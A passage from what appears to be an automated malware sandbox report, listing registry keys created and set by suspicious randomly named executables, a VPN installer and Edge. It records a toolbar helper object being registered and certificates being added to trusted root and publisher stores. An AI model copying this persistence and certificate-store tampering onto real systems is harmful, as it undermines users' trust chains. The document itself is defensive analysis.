Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\ = "{484C7844-4212-4BE0-A3B4-376E9752EB97}" QDsgliQ.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\FLAGS\ = "0" DNnZcAy.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 8d9a17d8141cd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\VersionIndependentProgID = "Toolbar.ExtensionHelperObject" SxjcCox.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\suggestive.com\NumberOfSubdom = "1" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" cmd.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "76" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3}\TypeLib\ = "{949304BF-B0CB-4477-AB23-4FFC82B86902}" SxjcCox.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\TypeLib\ = "{949304BF-B0CB-4477-AB23-4FFC82B86902}" SxjcCox.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\TypeLib\Version = "1.0" QDsgliQ.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3e1d4993141cd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\ProgID = "Toolbar.ExtensionHelperObject.1" DNnZcAy.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\ = "BackgroundScriptEngine Class" QDsgliQ.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" cmd.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ = "{FCD323B9-9E05-4433-8305-22E34A2FA3B9}" QDsgliQ.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" SxjcCox.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe -
Processes:
Rugomaevoki.exevpn.tmptapinstall.exeSidyshywyly.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A Rugomaevoki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Sidyshywyly.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 